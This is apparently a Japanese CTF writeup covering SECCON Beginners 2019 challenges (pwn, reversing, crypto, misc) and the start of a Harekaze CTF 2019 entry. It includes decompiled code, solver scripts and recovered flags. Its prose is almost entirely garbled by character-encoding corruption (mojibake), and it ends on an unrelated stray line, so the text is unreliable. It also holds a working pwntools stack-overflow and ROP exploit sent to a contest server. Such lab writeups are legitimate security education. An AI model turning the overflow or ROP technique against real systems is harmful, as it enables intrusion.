ããããããã®ã¾ã¾èªãã§ããã¨SEGVãã¦ãã¾ã£ã¦ä¸æãåããªãã
gdbã§ãã£ã¡ãé å¼µã£ã¦è¿½ã£ã¦ããã¨ãsystemé¢æ°ã®gotã¨ã³ããªã®é 延ãã¤ã³ãã£ã³ã°ãè¡ãé¨åã®ã³ã¼ãã§è½ã¡ã¦ãããã¨ãåãã£ã¦ãè½ã¡ã¦ããçç±ã¯SSEã®movapså½ä»¤ã®ã¢ã©ã¤ã¡ã³ããããããã ããã ã¨ããã・・・ã
movapsã§ã¢ã¯ã»ã¹ãã¦ããã¢ãã¬ã¹ã¯RSPä¾åã§ããããå¼ã³åºãããåã«ããããã16ãã¤ãã¢ã©ã¤ã¡ã³ãã«æã£ã¦ããªãã¨æ»ã¬ã¿ããã ã使ãå´ãã¢ã©ã¤ã³ããªãã¦è¯ããã§ããã・・・ï¼ããåãããªãã
ããåãããªããã©ãããããã¨ãªã8ãã¤ãRSPããããã¦ããã°è¯ãã®ã§ãç´ã§hidden
é¢æ°ã«é£ã¶ã®ã§ã¯ãªãã¦ãã©ãã§ãããããret
å½ä»¤ã«é£ã¹ã°ãåã«8ãã¤ãã¹ã¿ãã¯ãããããã
from pwn import * context.arch = 'amd64' context.log_level = 'debug' io = remote('133.242.68.223', 35285) elf = ELF('./memo') io.recv() # -95 ~ -110 io.sendline('-104') io.recv() rop = ROP('./memo') rop.call(0x0040085c) rop.call('hidden') io.sendline(b'\x00'*8 + rop.chain()) io.interactive()
ãã©ã°ã¯ ctf4b{h4ckn3y3d_574ck_b0f}
ã
ã©ãããæå³ãªãã ãã・・・ï¼
Reversing: [warmup] Seccompare
ã¨ããããéã³ã³ãã¤ã«ã
undefined8 main(int iParm1,undefined8 *puParm2) { /// ... local_10 = *(long *)(in_FS_OFFSET + 0x28); if (iParm1 < 2) { printf("usage: %s flag\n",*puParm2); uVar2 = 1; } else { local_38 = 'c'; local_37 = 0x74; local_36 = 0x66; local_35 = 0x34; local_34 = 0x62; local_33 = 0x7b; local_32 = 0x35; local_31 = 0x74; local_30 = 0x72; local_2f = 0x31; local_2e = 0x6e; local_2d = 0x67; local_2c = 0x73; local_2b = 0x5f; local_2a = 0x31; local_29 = 0x73; local_28 = 0x5f; local_27 = 0x6e; local_26 = 0x30; local_25 = 0x74; local_24 = 0x5f; local_23 = 0x65; local_22 = 0x6e; local_21 = 0x30; local_20 = 0x75; local_1f = 0x67; local_1e = 0x68; local_1d = 0x7d; local_1c = 0; iVar1 = strcmp(&local_38,(char *)puParm2[1]); if (iVar1 == 0) { puts("correct"); } else { puts("wrong"); } uVar2 = 0; } // ... }
åã«æååæ¯è¼ãã¦ãã ããªã®ã§ã¨ã¦ãç°¡åã
ãã©ã°ã¯ ctf4b{5tr1ngs_1s_n0t_en0ugh}
ããããããã§ããã
Reversing: Leakage
éã³ã³ãã¤ã«ã
undefined8 main(int iParm1,undefined8 *puParm2) { int iVar1; undefined8 uVar2; if (iParm1 < 2) { printf("usage: %s flag\n",*puParm2); uVar2 = 1; } else { iVar1 = is_correct(puParm2[1]); if (iVar1 == 0) { puts("wrong"); } else { puts("correct"); } uVar2 = 0; } return uVar2; }
is_correct
ã¨ããé¢æ°ã§ãã§ãã¯ãã¦ãããããã
undefined8 is_correct(char *pcParm1) { char cVar1; size_t sVar2; undefined8 uVar3; int local_c; sVar2 = strlen(pcParm1); if (sVar2 == 0x22) { local_c = 0; while (local_c < 0x22) { cVar1 = convert((ulong)(byte)enc_flag[(long)local_c]); if (cVar1 != pcParm1[(long)local_c]) { return 0; } local_c = local_c + 1; } uVar3 = 1; } else { uVar3 = 0; } return uVar3; }
é·ãã¯0x22ãconvert
ã¨ããé¢æ°ã§1æåãã¤ãããããåãè¾¼ã¾ãã¦ããã¨ã³ã³ã¼ãæ¸ã¿ãã©ã°ããã³ã¼ããã¦æ¯è¼ãã¦ããããã ã
ulong convert(byte bParm1) { // ... local_cc = 10; lVar1 = *(long *)(in_FS_OFFSET + 0x28); local_d8 = s.2160._20_4_; local_dc = s.2160._44_4_; uVar17 = s.2160._0_4_; uVar15 = s.2160._4_4_; uVar14 = s.2160._12_4_; uVar5 = s.2160._16_4_; uVar19 = s.2160._28_4_; uVar7 = s.2160._32_4_; uVar16 = s.2160._40_4_; uVar6 = s.2160._56_4_; uVar4 = s.2160._48_4_; uVar18 = s.2160._60_4_; uVar12 = s.2160._8_4_; uVar10 = s.2160._24_4_; uVar13 = s.2160._36_4_; uVar9 = s.2160._52_4_; do { uVar4 = uVar4 ^ uVar17 + uVar5; uVar6 = uVar6 ^ uVar12 + uVar10; uVar4 = uVar4 << 0x10 | uVar4 >> 0x10; uVar6 = uVar6 << 0x10 | uVar6 >> 0x10; uVar7 = uVar7 + uVar4; uVar16 = uVar16 + uVar6; uVar8 = uVar5 ^ uVar7; uVar11 = uVar10 ^ uVar16; uVar8 = uVar8 << 0xc | uVar8 >> 0x14; uVar11 = uVar11 << 0xc | uVar11 >> 0x14; uVar17 = uVar17 + uVar5 + uVar8; uVar12 = uVar12 + uVar10 + uVar11; uVar4 = uVar4 ^ uVar17; uVar6 = uVar6 ^ uVar12; uVar5 = uVar4 << 8 | uVar4 >> 0x18; uVar6 = uVar6 << 8 | uVar6 >> 0x18; uVar7 = uVar7 + uVar5; uVar8 = uVar8 ^ uVar7; uVar8 = uVar8 << 7 | uVar8 >> 0x19; uVar9 = uVar9 ^ uVar15 + local_d8; uVar10 = uVar9 << 0x10 | uVar9 >> 0x10; uVar13 = uVar13 + uVar10; uVar4 = local_d8 ^ uVar13; uVar4 = uVar4 << 0xc | uVar4 >> 0x14; uVar15 = uVar15 + local_d8 + uVar4; uVar10 = uVar10 ^ uVar15; // ......
ã¦ã¯ã¡ã¡ã¡ã
ãããã¾ããis_correct
é¢æ°å
ã§0ãè¿ãç¬éã«ã¯æ£ããæåãã¬ã¸ã¹ã¿ä¸ã«åå¨ãã¦ããã¯ããªã®ã§ããã¬ã¼ã¯ãã¤ã³ããä»æãã¦ããã°ãå
é ããä¸æåãã¤æ£è§£ã確å®ããã¦è¡ããã¨ã¯ã§ãããã ã
ããã¦åºã¦ãããã©ã°ã¯ ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
ã
Reversing: Linear Operation
ä»åä¸çªè¦å´ããã®ãããã
ã¨ããããmainã®éã³ã³ãã¤ã«ã
undefined8 main(void) { int iVar1; long in_FS_OFFSET; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_58 = 0; local_50 = 0; local_48 = 0; local_40 = 0; local_38 = 0; local_30 = 0; local_28 = 0; local_20 = 0; printf("input flag : "); __isoc99_scanf(&DAT_0040d042,&local_58); iVar1 = is_correct(&local_58); if (iVar1 == 0) { puts("wrong"); } else { puts("correct"); } if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { /* WARNING: Subroutine does not return */ __stack_chk_fail(); } return 0; }
ã§ãis_correct
é¢æ°ãªãã ããããããã¡ããã¡ãã§ãããã§ãããã¦ãªããªãéã³ã³ãã¤ã«ãçµãããªãã
ããã¦åºã¦ããã®ãããã
ãããé å¼µã£ã¦èªãã¨ãåºæ¬çã«ã¯
(bVar2 = pbParm1[0x13] << 4 | pbParm1[0x13] >> 4, bVar2 = (byte)(((uint)bVar2 & 0x3ffffff3) << 2) | (byte)((int)(uint)bVar2 >> 2) & 0x33, ((ulong)(byte)( (bVar2 * 2 & 0xaa | (byte)((int)(uint)bVar2 >> 1) & 0x55) ^ pbParm1[3]) ^ 0x11) * 0x22 == 0x1276))) &&
ããããå¼ã大éã«&&ã§ç¹ãããããã®ã ã¨è¨ããã¨ãåãããããã¦ããã®ãã¡ã®
(bVar2 = pbParm1[0x13] << 4 | pbParm1[0x13] >> 4, bVar2 = (byte)(((uint)bVar2 & 0x3ffffff3) << 2) | (byte)((int)(uint)bVar2 >> 2) & 0x33, ... (bVar2 * 2 & 0xaa | (byte)((int)(uint)bVar2 >> 1) & 0x55) ...
ãã®é¨åã¯ãè¦ããã«ç¹å®ã®æåã®ãããé ãéã«ãã¦ããå¦çã ã¨åããã
ãªã®ã§ãçµå± is_correct
ããã£ã¦ããå¦çã¯ã
bit_reverse(s[i]) (+|*|^) s[j] == C
ã®ãããªå¦çã ã¨åãã(å®æ°ãç³ã¿è¾¼ãã§ç°¡ç´ããã¨)ã
ã¾ãããã¾ã§ã§ãã®ããã大å¤ã ã£ãããã¤ãã«ãããããªãã¨ããã¦å®éã®ããã°ã©ã ããæ½åºããªããã°ãªããªããå®æ°é¨åã¾ã§å ¥ããã¨å¼ã®å½¢ã«æ¡å¤ããªã¨ã¼ã·ã§ã³ãããã®ã¨ãéã³ã³ãã¤ã©ãä¸è²«ããå½¢ã®å¼ãåºãã¦ããã¦ããããã§ã¯ãªãã®ã§ãç°¡åãªæ£è¦è¡¨ç¾ã ã¨é£ãããã ã£ãã
ãªã®ã§ãä»åã¯Haskellã®ãã¿ã¼ã³ãããã§ç°¡ç´åãããã¨ã«ãããlanguage-c
ããã±ã¼ã¸ã§ãã¼ãºãã¦ããããä»åã®ã³ã¼ãã«å¿
è¦ãªASTã ããã¿ã¼ã³ããããæ¸ãã¦ããããããã«ãã©ãã¼ã¹ããããããã¦ã§ããã®ãããã
æ¸ãã¦ã¦æã£ãã®ã ããlanguage-c
ã¯ããããã£ãããããããªå¦çãæ¸ãã®ã¯ãã¡ããã¡ãé¢åã ã
ã§ãããã«å ã®ã§ããã³ã¼ããé£ããã¦ããã¨ã
ãããªæãã®ãè¦éããã»ã©ç¶ºéºãªã³ã¼ããåºã¦ãããf_add
ã¨ãã®é¢æ°ã¯å
ã»ã©ã®å¶ç´å¼ã§ã
ulong f_add(ulong a, ulong b, ulong c) { return a + b == c; } ulong f_mul(ulong a, ulong b, ulong c) { return a * b == c; } ulong f_xor(ulong a, ulong b, ulong c) { return a ^ b == c; }
ãããªå®ç¾©ã«ãªã£ã¦ãããã§ãããããis_correct
ã®å
¨è²ãæããã«ãªã£ãã®ã§ããããæºãããã¼ã¿ãæ¢ããåç´ãªå¶ç´å¼ãªã®ã§ãå¶ç´ã½ã«ãã¼ã«è§£ãããããz3ã®åºçªã ã
ã¾ããç°¡ç´åãããããã°ã©ã ãé©å½ã«ããã£ã¦ãæ¡ä»¶ã ãæãåºãããã¼ã¿ãä½ãã
ãããèªãã§å é é¨åã®æåã®å¶ç´ã¨åããã¦ãå¶ç´ãçµã¿ç«ã¦ã¦SMTã½ã«ãã¼ã«é£ãããã³ã¼ããæ¸ãã
ããã¦å®è¡ããï¼
çããåºã¦ããï¼
ãããé·ãéã®ãã ã£ãã大å¤ã ããã©ããã©ã°ãåºã¦ããç¬éã¯ä½ã¨ããããªãããããããæ°åã«ãªããã
åºã¦ãããã©ã°ã¯ãctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
ã
ããããããã§ãããããã£ã¦ããã¨ã¯è¦ããã«ãããããã¨ãªã®ã§ãã·ã³ããªãã¯å®è¡ã§ã§ããªãã¯ãããªãããããã·ã³ããªãã¯å®è¡ãã¬ã¼ã ã¯ã¼ã¯ããç¥ããªãã®ã§ããªããèªåã§ãããã¨ã«ãªã£ã¦ãã¾ã£ãããã®è¾ºä½¿ããããã«ãã¦ããããã
Reversing: SecconPass
ã¨ããããéã³ã³ãã¤ã«ããã¨ãC++ã£ã½ãã³ã¼ããåºã¦ããããã®åé¡ã®ã³ã³ã»ããã¯ããããã¢ã¬ãªãã ãããã
void main(void) { bool bVar1; int iVar2; basic_ostream *this; ulong uVar3; Entry *this_00; ulong uVar4; long lVar5; long in_FS_OFFSET; int local_138; int local_134; int local_130; int local_12c; undefined8 local_128; undefined8 local_120; undefined8 local_118; FILE *local_110; basic_string local_108 [32]; basic_string local_e8 [32]; basic_string local_c8 [32]; basic_string local_a8 [32]; basic_string local_88 [32]; Entry local_68 [72]; undefined8 local_20; local_20 = *(undefined8 *)(in_FS_OFFSET + 0x28); basic_string(); local_138 = 0; /* try { // try from 001019ca to 00101a70 has its CatchHandler @ 00101f99 */ local_110 = fopen("/dev/urandom","rb"); if (local_110 == (FILE *)0x0) { this = operator<<<std--char_traits<char>> ((basic_ostream *)__TMC_END__,"Error open /dev/urandom"); operator<<((basic_ostream<char,std--char_traits<char>> *)this,endl<char,std--char_traits<char>>) ; /* WARNING: Subroutine does not return */ exit(1); } fread(&local_138,8,1,local_110); operator<<<std--char_traits<char>> ((basic_ostream *)__TMC_END__,"****************\n** SecconPass **\n****************\n"); do { while( true ) { while( true ) { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Action: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108) ; /* try { // try from 00101a85 to 00101a89 has its CatchHandler @ 00101dfe */ local_134 = stoi(local_108,(ulong *)0x0,10); if (local_134 != 1) break; /* try { // try from 00101c3c to 00101c56 has its CatchHandler @ 00101f99 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Index: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108) ; /* try { // try from 00101c6b to 00101cdf has its CatchHandler @ 00101eaa */ local_12c = stoi(local_108,(ulong *)0x0,10); if ((local_12c < 0) || (uVar4 = SEXT48(local_12c), uVar3 = size((vector<Entry,std--allocator<Entry>> *)ve), uVar3 <= uVar4)) { bVar1 = false; } else { bVar1 = true; } if (bVar1) { this_00 = (Entry *)operator[]((vector<Entry,std--allocator<Entry>> *)ve,(long)local_12c); show(this_00); } else { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid index\n"); } } if (1 < local_134) break; if (local_134 == 0) { basic_string(); basic_string(); /* try { // try from 00101af0 to 00101b86 has its CatchHandler @ 00101e84 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"ID: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_e8); operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"PASS: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_c8); uVar3 = length(); iVar2 = local_138; if (uVar3 < 0x14) { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Too short!!\n"); } else { basic_string(local_88); /* try { // try from 00101b9b to 00101b9f has its CatchHandler @ 00101e62 */ basic_string(local_a8); /* try { // try from 00101bb4 to 00101bb8 has its CatchHandler @ 00101e4e */ Entry(local_68,(basic_string)0x58,(basic_string)0x78,iVar2); ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_a8); ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_88); /* try { // try from 00101be2 to 00101be6 has its CatchHandler @ 00101e73 */ push_back((vector<Entry,std--allocator<Entry>> *)ve,local_68); ~Entry(local_68); } ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_c8); ~basic_string((basic_string<char,std--char_traits<char>,std--allocator<char>> *)local_e8); } else { LAB_00101de5: /* try { // try from 00101df3 to 00101df7 has its CatchHandler @ 00101f99 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid action\n"); } } if (local_134 != 2) { if (local_134 == 3) { /* WARNING: Subroutine does not return */ exit(0); } goto LAB_00101de5; } /* try { // try from 00101cf3 to 00101d0d has its CatchHandler @ 00101f99 */ operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Index: "); operator>><char,std--char_traits<char>,std--allocator<char>>((basic_istream *)cin,local_108); /* try { // try from 00101d22 to 00101dd8 has its CatchHandler @ 00101f23 */ local_130 = stoi(local_108,(ulong *)0x0,10); if ((local_130 < 0) || (uVar4 = SEXT48(local_130), uVar3 = size((vector<Entry,std--allocator<Entry>> *)ve), uVar3 <= uVar4)) { bVar1 = false; } else { bVar1 = true; } if (bVar1) { lVar5 = (long)local_130; local_128 = begin((vector<Entry,std--allocator<Entry>> *)ve); local_120 = operator+((__normal_iterator<Entry*,std--vector<Entry,std--allocator<Entry>>> *) &local_128,lVar5); __normal_iterator<Entry*> ((__normal_iterator<Entry_const*,std--vector<Entry,std--allocator<Entry>>> *) &local_118,(__normal_iterator *)&local_120); erase((vector<Entry,std--allocator<Entry>> *)ve,SUB81(local_118,0)); } else { operator<<<std--char_traits<char>>((basic_ostream *)__TMC_END__,"Invalid index\n"); } } while( true ); }
èªãã æããã³ãã³ã0ã§æ¤ç´¢ãã³ãã³ã1ã§ã¨ã³ããªè¿½å ãã³ãã³ã2ã§ã¨ã³ããªåé¤ãã³ãã³ã3ã§çµäºã¨è¨ã£ãæãã ããã®ã¾ã¾ã ã¨ã©ãã«ããã©ã°ã¯ç¾ãããªãããã©ã°ã®å¤å®ããã¦ããã¨ããããªãã
ã¨ã³ããªã§å
¥åããããã¹ã¯Entry::encrypt()
ã¨ããé¢æ°ã§æå·åããã¦ä¿åãããã
void encrypt(int param_1) { long lVar1; byte *pbVar2; undefined4 in_register_0000003c; long lVar3; int local_1c; lVar3 = CONCAT44(in_register_0000003c,param_1); local_1c = 0; while( true ) { lVar1 = length(); if (lVar1 - 4U <= (ulong)(long)local_1c) break; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)local_1c); *pbVar2 = *(byte *)(lVar3 + 0x43) ^ *pbVar2; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)(local_1c + 1)); *pbVar2 = *(byte *)(lVar3 + 0x41) ^ *pbVar2; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)(local_1c + 2)); *pbVar2 = *(byte *)(lVar3 + 0x43) ^ *pbVar2; pbVar2 = (byte *)operator[]((basic_string<char,std--char_traits<char>,std--allocator<char>> *) (lVar3 + 0x20),(long)(local_1c + 3)); *pbVar2 = *(byte *)(lVar3 + 0x41) ^ *pbVar2; local_1c = local_1c + 4; } return; }
è¦ããã«ä½ããã£ã¦ããã®ãã¨ããã¨ãbyteå2è¦ç´ ã®ãã¼ã«ãã£ã¦ãåã«æåæ¯ã« s[i] ^= key[i%2]
ã¨ãã¦xorãæãã¦ããã ãã®ããã ã
ãã¤ããªãè¦ãã¨ããªããå¤ãªã¨ã³ã³ã¼ããããæååã®ãããªãã®ããã£ã¦ããããã©ãã§ä½¿ããã¦ããã®ã調ã¹ã¦ã¿ãã¨ãdestructor()
ã¨ããã¨ããã§ä½¿ããã¦ãããããã¯ããã°ã©ã çµäºæã«å¼ã³åºããããããã®ä¸ã§ããªãããããå¼æ°ã«ããã¨ã³ããªãç»é²ããã¦ãããã«åé¤ããã¦ããããªãã®ããã«ãããªãã¨ããã¦ããã®ãã¯åãããªãã
ããåãããªãããè¦ããã«ããã¯ã¨ã³ã³ã¼ããããæååã ã¨ãããã¨ãªã®ã ããããã¨ããããå é ä»è¿ã®ãã¼ã¿ã "ctf4b"ã¨xorããã¨ããªãã¨ãªãããè¨ãæãã£ã½ãã£ãã®ã§ãå é 2æåã®ãã¼ã§å ¨ä½ãxorããããªãã¨ãªããã©ã°ã£ã½ããã®ãåºã¦ããã
åºã¦ãããã©ã°ã¯ ctf4b{Impl3m3nt3d_By_Cp1u5p1u5Z
ã
ãªããå¾ãã®æ¹ãå£ãã¦ãã・・・ãåé¡èªä½ãå£ãã¦ãããããã®ã§ããã§OKã¿ããã ãC++ã§å®è£ ãããã³ã¼ã・・・ã¨ã¯ãããªããã¤ãã¤ã趣æ¨ãããåãããªãã£ããããã§è¯ãã£ãã®ã ãããï¼
Crypto: [warmup] So Tierd
base64ã£ã½ãå ¥åãä¸ããããã®ã§ããã³ã¼ãããã¨zlib compressed dataãåºã¦ãããzlib compressed dataãdecompressããã¨ä»åº¦ã¯base64ãåºã¦ãããããã¦ã¾ãããããã³ã¼ãããã¨zlib compressed dataãåºã¦ãã¦ããããç¹°ãè¿ãã¦ããã¨æçµçã«ãã©ã°ãåºã¦ããã
Crypto: Party
ãã©ã°ãæå·åããPythonããã°ã©ã ã¨æå·åããããã©ã°ãè²°ããã®ã§ãå ã®ãã©ã°ãæ±ããåé¡ã
æå·åããã°ã©ã ã§ã¯ä¹±æ°ã5åä½ã£ã¦ã¦ãããã¨ãã©ã°ãåããã6ã¤ã®æ´æ°ãflag, a, b, x, y, z
ã¨ããã¨ãx
, y
, z
, flag+a*x+b*x^2
, flag+a*y+b*y^2
, flag+a*z+b*z^2
ã®æ´æ°ãä¸ããããã®ã§ãå¤æ°6ã¤ã«å¼ã6åããã®ã§ã¾ãçå±ã¨ãã¦ã¯æ®éã«è§£ããã
解ããã¯ãã ãã©èããã®ã¯ããã©ãã£ãã®ã§ãSMTã½ã«ãã¼ã«è§£ãã¦ããããã¨ã«ããã
import Data.SBV [(x, fx), (y, fy), (z, fz)] = <input data...> main :: IO () main = print =<< sat problem problem :: Symbolic () problem = do flag <- sInteger "flag" a <- sInteger "a" b <- sInteger "b" constrain $ fx .== flag+a*x+b*x^2 constrain $ fy .== flag+a*y+b*y^2 constrain $ fz .== flag+a*z+b*z^2
å¼ãæ¸ãã ãã§ãããªãã¨ãã¦ããã¦ããèªåã§ä½ãèããããªããªãã
åºã¦ãããã©ã°ã¯ ctf4b{just_d0ing_sh4mir}
ã
ãªããããããã®ããããã§ããã・・・ã
Misc: [warmup] Welcome
å ¬å¼IRCãã£ã³ãã«ã«ç¹ãã ãã®ãã¤ã
Misc: containers
ä¸ãããããã¡ã¤ã«ã«ãè¦ãã¨ãã£ã¡ã沢山PNGããã®ã¾ã¾å ¥ã£ã¦ãããã«è¦ããã®ã§ãbinwalkã§åãåºãã¦ã¿ãã¨ãæåãæ¸ããããã¡ã¤ã«ãä¸æ¯åºã¦ããããããç¹ããã¨ãã©ã°ã«ãªã£ãã
ctf4b{e52df60c058746a66e4ac4f34db6fc81}
ã©ãããæå³ãªãã ãããã
Misc: Dump
pcapã®ãã³ãã¨æãããã¡ã¤ã«ãä¸ããããã®ã§è¦ãã¦ã¿ãã¨ãwebshellã¨ãããã¤ã§hexdumpã§ãã¡ã¤ã«ãè¦ãã¦ãã£ã½ãã®ãåºã¦ãããhexdumpã®å¼æ°èª¿ã¹ã¦ã©ããããã©ã¼ãããã§åºã¦ãã®ã調ã¹ã¦ãã³ã¼ãããã¨ãtar.gzãã¡ã¤ã«ãåºã¦ãã¦ãããã解çããã¨ã¨ã¦ãç½ãããªåçã®jpgãã¡ã¤ã«ã«ãã©ã°ãæ¸ããã¦ããã
ãã©ã°ã¯ ctf4b{hexdump_is_very_useful}
ã
ããã¯ç¥ã£ã¦ãã
Misc: Sliding puzzle
æå®ããããµã¼ãã¼ã«ç¹ãã¨ããããªæãã®
---------------- | 0 | 2 | 3 | | 6 | 7 | 1 | | 8 | 4 | 5 | ----------------
8ããºã«ã®åé¡ãããããéã£ã¦ããã®ã§ããã解ãã¨ããåé¡ãæé ã¯0 : ä¸ã1 : å³ã2 : ä¸ã3 : å·¦ã§ã¨ã³ã³ã¼ãããã
ãããã¨ã¯ã£ãããã¦ãã¦ã8ããºã«ã¯ç¤é¢æ°é«ã 9!ãããªãããBFSã§ä¸ç¬ã¨ããããå¥ã«é£ãã訳ã§ã¯ãªããããã¾ã¨ããªåé¡ï¼ã®ä¸ã§ã¯ãããä¸çªç°¡åãªæ°ãããã
æ¢ç´¢ãªã®ã§Rustã§æ¸ããããã®ãããã®è¦æ¨¡ãªãå¥ã«Pythonã§æ¸ãã¦ããããªã«æéã¯é£ããªãæ°ã¯ãããã§ãPythonã¯ããåãããªãããåã£ãã³ã¼ããæ¸ããããªãã£ãã
ã½ã±ããå¨ãã®ã³ã¼ãããã£ã±ãã©ããã¦ãã¡ãã£ã¨ããã©ããããªãã®ã§ãæ¢ç´¢ã ãRustã§æ¸ãã¦ãéä¿¡é¨åã¯Pythonã®pwntoolsã§æ¸ãã¦ãRustã®ããã»ã¹ãèªãã§ãè¯ãã£ãæ°ããããã§ãã¾ããããããããªããããããã¨ã¯ç¡ãããã©ã£ã¡ã§ãããæ°ã¯ããããã¨Rustã§ããå æ¸ã«éä¿¡ã¾ããã®ã³ã¼ããæ¸ãããããªã©ã¤ãã©ãªããã£ããããã¨ããããã®ããã®ã«è¯ãã®ããªãã¨ãæã£ãã
use std::io::{Write, Read}; use std::net::*; fn main() -> Result<(), Box<std::error::Error>> { let mut stream = TcpStream::connect("133.242.50.201:24912")?; loop { let mut buf = vec![0; 1024]; let len = stream.read(&mut buf)?; let s = String::from_utf8(buf[0..len].to_owned())?; print!("{}", s); let v = s .chars() .map(|c| if c.is_ascii_digit() { c } else { ' ' }) .collect::<String>() .split_whitespace() .map(|w| w.parse::<u32>().unwrap()) .collect::<Vec<_>>(); println!("{:?}", v); let ans = solve(&v); let ans = ans.iter().map(|i| format!("{}", i)).collect::<Vec<_>>().join(","); write!(&mut stream, "{}", dbg!(ans)); } Ok(()) } fn encode(bd: &Vec<u32>) -> u64 { (0..9).map(|i| (bd[i] as u64) << (i * 4)).sum() } fn solve(bd: &Vec<u32>) -> Vec<u32> { let start = encode(bd); let goal = encode(&vec![0, 1, 2, 3, 4, 5, 6, 7, 8]); let mut q = std::collections::VecDeque::new(); q.push_back(start); let mut prev = std::collections::HashMap::<u64, (u32, u64)>::new(); prev.insert(start, (0, 0)); const VECT: &[(i32, i32)] = &[(0, -1), (1, 0), (0, 1), (-1, 0)]; while let Some(bd) = q.pop_front() { assert!(prev.contains_key(&bd)); if bd == goal { println!("FOUND"); break; } let mut x = 0; let mut y = 0; for i in 0..9 { if ((bd >> (i * 4)) & 15) == 0 { x = i % 3; y = i / 3; } } for dir in 0..4 { let (vx, vy) = VECT[dir as usize]; let nx = x as i32 + vx; let ny = y as i32 + vy; if nx >= 0 && nx < 3 && ny >= 0 && ny < 3 { let nbd = swap(bd, x, y, nx as usize, ny as usize); if !prev.contains_key(&nbd) { prev.insert(nbd, (dir, bd)); q.push_back(nbd); } } } } let mut cur = goal; let mut ans = vec![]; while cur != start { let (mv, next) = prev.get(&cur).unwrap(); cur = *next; ans.push(*mv); } ans.reverse(); ans } fn swap(bd: u64, x: usize, y: usize, nx: usize, ny: usize) -> u64 { let p = (y * 3 + x) * 4; let np = (ny * 3 + nx) * 4; bd & !(15 << p) & !(15 << np) | (((bd >> p) & 15) << np) | (((bd >> np) & 15) << p) }
100å解ãã¨ãã©ã°ãç¾ããããctf4b{fe6f512c15daf77a2f93b6a5771af2f723422c72}
ãããã©ãããæå³ãªãã ããã
Harekaze CTF 2019 writeup
Harekaze CTF 2019 - Harekazeharekaze.com
ä»å¾ã®ããã«ããã£ãããªã®ã§è§£ããåé¡ã®è¨é²æ®ãã¦ãããã¨æãã¾ãã
scramble
æ£ãããã©ã°ãæ¨æºå ¥åããå ¥ããã¨Correct!ã¨è¡¨ç¤ºãããããã°ã©ã ãä¸ããããã¿ãããªãã§ãããããéç®ãã¦ãã©ã°ãæ±ããåé¡ã£ã½ããã¨ããããå ¥åã¯scrambleã¨ããé¢æ°ã«æãããã¦ãæ£è§£ã®å¤ã¨æ¯è¼ããããscrambleã®ã³ã¼ããéã³ã³ãã¤ã«ããã¨ã
void scramble(long lParm1) { byte bVar1; int iVar2; byte bVar3; byte bVar4; int iVar5; uint uVar6; int *piVar7; uint uVar8; uint uVar9; byte *pbVar10; piVar7 = table; uVar6 = 0; do { iVar2 = *piVar7; pbVar10 = (byte *)((long)(int)(uVar6 / 7) + lParm1); bVar1 = *pbVar10; bVar3 = (char)uVar6 + (char)(uVar6 / 7) * -7; iVar5 = iVar2 / 7 + (iVar2 >> 0x1f); bVar4 = (char)iVar2 + ((char)iVar5 - (char)(iVar2 >> 0x1f)) * -7; uVar8 = 1 << (bVar3 & 0x1f); uVar9 = 1 << (bVar4 & 0x1f); *pbVar10 = (byte)(((int)((uint)*(byte *)(lParm1 + (long)(iVar5 - (iVar2 >> 0x1f))) & uVar9) >> (bVar4 & 0x1f)) << (bVar3 & 0x1f)) | ~(byte)uVar8 & bVar1; pbVar10 = (byte *)(lParm1 + (long)(*piVar7 / 7)); *pbVar10 = *pbVar10 & ~(byte)uVar9; iVar2 = *piVar7; uVar6 = uVar6 + 1; piVar7 = piVar7 + 1; pbVar10 = (byte *)(lParm1 + (long)(iVar2 / 7)); *pbVar10 = *pbVar10 | (byte)(((int)((uint)bVar1 & uVar8) >> (bVar3 & 0x1f)) << (bVar4 & 0x1f)); } while (uVar6 != 0x10a); return; }
ãããªã®ãåºã¦ããã®ã§ããããé å¼µã£ã¦èªãã ããè¦ããã«
for (int i = 0; i < 0x10a; i++) { int j = table[i]; swap(input[i/7]ã®i%7ãããç®ãinput[j/7]ã®i%7ãããç®); }
ã¿ãããªãã¨ããã£ã¦ããã¨ãåãã£ãã®ã§ãããã®éé¢æ°ã¯iãéé ã§åãã¦ããã°ãããã§ãããã§åãè¾¼ã¾ãã¦ãå¤ãå ã«æ»ãã¦ããã°ãã©ã°ãåºã¦ããã
ONCE UPON A TIME
